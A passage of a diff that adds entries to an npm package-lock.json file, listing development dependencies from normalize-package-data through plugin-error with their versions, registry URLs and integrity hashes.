"https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + }, + "dependencies": { + "semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true + } + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "dev": true + }, + "now-and-later": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz", + "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==", + "dev": true, + "requires": { + "once": "^1.3.2" + } + }, + "number-is-nan": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", + "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==", + "dev": true + }, + "nwsapi": { + "version": "2.2.7", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz", + "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==", + "dev": true + }, + "nyc": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz", + "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==", + "dev": true, + "requires": { + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "caching-transform": "^4.0.0", + "convert-source-map": "^1.7.0", + "decamelize": "^1.2.0", + "find-cache-dir": "^3.2.0", + "find-up": "^4.1.0", + "foreground-child": "^2.0.0", + "get-package-type": "^0.1.0", + "glob": "^7.1.6", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-hook": "^3.0.0", + "istanbul-lib-instrument": "^4.0.0", + "istanbul-lib-processinfo": "^2.0.2", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.0.2", + "make-dir": "^3.0.0", + "node-preload": "^0.2.1", + "p-map": "^3.0.0", + "process-on-spawn": "^1.0.0", + "resolve-from": "^5.0.0", + "rimraf": "^3.0.0", + "signal-exit": "^3.0.2", + "spawn-wrap": "^2.0.0", + "test-exclude": "^6.0.0", + "yargs": "^15.0.2" + }, + "dependencies": { + "cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + } + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "p-map": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", + "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", + "dev": true, + "requires": { + "aggregate-error": "^3.0.0" + } + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "requires": { + "find-up": "^4.0.0" + } + }, + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true + }, + "which-module": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz", + "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==", + "dev": true + }, + "wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + }, + "y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true + }, + "yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "dev": true, + "requires": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + } + }, + "yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "dev": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + } + } + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true + }, + "object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", + "integrity": "sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==", + "dev": true, + "requires": { + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true + }, + "object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true + }, + "object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", + "integrity": "sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==", + "dev": true, + "requires": { + "isobject": "^3.0.0" + } + }, + "object.assign": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + } + }, + "object.defaults": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz", + "integrity": "sha512-c/K0mw/F11k4dEUBMW8naXUuBuhxRCfG7W+yFy8EcijU/rSmazOUd1XAEEe6bC0OuXY4HUKjTJv7xbxIMqdxrA==", + "dev": true, + "requires": { + "array-each": "^1.0.1", + "array-slice": "^1.0.0", + "for-own": "^1.0.0", + "isobject": "^3.0.0" + } + }, + "object.map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz", + "integrity": "sha512-3+mAJu2PLfnSVGHwIWubpOFLscJANBKuB/6A4CxBstc4aqwQY0FWcsppuy4jU5GSB95yES5JHSI+33AWuS4k6w==", + "dev": true, + "requires": { + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + } + }, + "object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==", + "dev": true, + "requires": { + "isobject": "^3.0.1" + } + }, + "object.reduce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object.reduce/-/object.reduce-1.0.1.tgz", + "integrity": "sha512-naLhxxpUESbNkRqc35oQ2scZSJueHGQNUfMW/0U37IgN6tE2dgDWg3whf+NEliy3F/QysrO48XKUz/nGPe+AQw==", + "dev": true, + "requires": { + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + } + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "optionator": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", + "dev": true, + "requires": { + "@aashutoshrathi/word-wrap": "^1.2.3", + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0" + } + }, + "ordered-read-streams": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz", + "integrity": "sha512-Z87aSjx3r5c0ZB7bcJqIgIRX5bxR7A4aSzvIbaxd0oTkWBCOoKfuGHiKj60CHVUgg1Phm5yMZzBdt8XqRs73Mw==", + "dev": true, + "requires": { + "readable-stream": "^2.0.1" + } + }, + "os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", + "integrity": "sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==", + "dev": true, + "requires": { + "lcid": "^1.0.0" + } + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "requires": { + "p-limit": "^3.0.2" + } + }, + "p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "requires": { + "aggregate-error": "^3.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true + }, + "package-hash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/package-hash/-/package-hash-4.0.0.tgz", + "integrity": "sha512-whdkPIooSu/bASggZ96BWVvZTRMOFxnyUG5PnTSGKoJE2gd5mbVNmR2Nj20QFzxYYgAXpoqC+AiXzl+UMRh7zQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.15", + "hasha": "^5.0.0", + "lodash.flattendeep": "^4.4.0", + "release-zalgo": "^1.0.0" + } + }, + "param-case": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz", + "integrity": "sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==", + "dev": true, + "requires": { + "no-case": "^2.2.0" + } + }, + "parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "requires": { + "callsites": "^3.0.0" + } + }, + "parse-filepath": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz", + "integrity": "sha512-FwdRXKCohSVeXqwtYonZTXtbGJKrn+HNyWDYVcp5yuJlesTwNH4rsmRZ+GrKAPJ5bLpRxESMeS+Rl0VCHRvB2Q==", + "dev": true, + "requires": { + "is-absolute": "^1.0.0", + "map-cache": "^0.2.0", + "path-root": "^0.1.1" + } + }, + "parse-json": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", + "integrity": "sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==", + "dev": true, + "requires": { + "error-ex": "^1.2.0" + } + }, + "parse-node-version": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parse-node-version/-/parse-node-version-1.0.1.tgz", + "integrity": "sha512-3YHlOa/JgH6Mnpr05jP9eDG254US9ek25LyIxZlDItp2iJtwyaXQb57lBYLdT3MowkUFYEV2XXNAYIPlESvJlA==", + "dev": true + }, + "parse-passwd": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz", + "integrity": "sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==", + "dev": true + }, + "parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true + }, + "pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", + "integrity": "sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==", + "dev": true + }, + "path-dirname": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", + "integrity": "sha512-ALzNPpyNq9AqXMBjeymIjFDAkAFH06mHJH/cSBHAgU0s4vfpBn6b2nf8tiRLvagKD8RbTpq2FKTBg7cl9l3c7Q==", + "dev": true + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true + }, + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true + }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "path-root": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz", + "integrity": "sha512-QLcPegTHF11axjfojBIoDygmS2E3Lf+8+jI6wOVmNVenrKSo3mFdSGiIgdSHenczw3wPtlVMQaFVwGmM7BJdtg==", + "dev": true, + "requires": { + "path-root-regex": "^0.1.0" + } + }, + "path-root-regex": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz", + "integrity": "sha512-4GlJ6rZDhQZFE0DPVKh0e9jmZ5egZfxTkp7bcRDuPlJXbAwhxcl2dINPUAsjLdejqaLsCeg8axcLjIbvBjN4pQ==", + "dev": true + }, + "path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "dev": true, + "requires": { + "isarray": "0.0.1" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true + } + } + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true + }, + "pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", + "dev": true + }, + "pause-stream": { + "version": "0.0.11", + "resolved": "https://registry.npmjs.org/pause-stream/-/pause-stream-0.0.11.tgz", + "integrity": "sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==", + "dev": true, + "requires": { + "through": "~2.3" + } + }, + "picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "dev": true + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==", + "dev": true + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==", + "dev": true, + "requires": { + "pinkie": "^2.0.0" + } + }, + "pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true + }, + "pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "dev": true, + "requires": { + "find-up": "^3.0.0" + }, + "dependencies": { + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true + } + } + }, + "plugin-error": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-1.0.1.tgz", + "integrity": "sha512-L1zP0dk7vGweZME2i+EeakvUNqSrdiI3F91TwEoYiGrAfUXmVv6fJIq4g82PAXxNsWOp0J7ZqQy/3Szz0ajTxA==", + "dev": true, + "requires": { + "ansi-colors": "^1.0.1", + "arr-diff": "^4.0.0", + "arr-union": "^3.1.0", + "extend-shallow": "^3.0.2" + }, + "dependencies": { + "ansi-colors": { + 